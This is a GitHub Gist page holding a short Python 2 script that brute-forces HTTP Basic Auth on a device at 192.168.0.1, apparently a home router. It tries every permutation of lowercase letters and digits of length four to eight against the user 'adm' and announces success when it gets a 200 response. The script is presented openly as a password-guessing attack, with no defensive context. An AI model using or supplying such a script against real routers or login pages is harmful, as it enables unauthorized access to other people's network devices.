Created
March 16, 2015 00:45
-
-
Save yawara/dff2bb20af0d39f43545 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import itertools | |
import requests | |
from requests.auth import HTTPBasicAuth | |
az = [chr(i) for i in range(ord('a'), ord('z')+1)] | |
AZ = [chr(i) for i in range(ord('Z'), ord('Z')+1)] | |
nums = [str(i) for i in range(10)] | |
chars = az + nums | |
user = 'adm' | |
for length in range(4,9): | |
for permutation in itertools.permutations( chars, length ): | |
password = ''.join(permutation) | |
print password | |
r = requests.get('http://192.168.0.1', auth = HTTPBasicAuth(user, password) ) | |
print r.status_code | |
if r.status_code == 200: | |
print "bf attack succecessfully terminated!!!" | |
LOOK_PASSWORD = password | |
break | |
print LOOK_PASSWORD |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment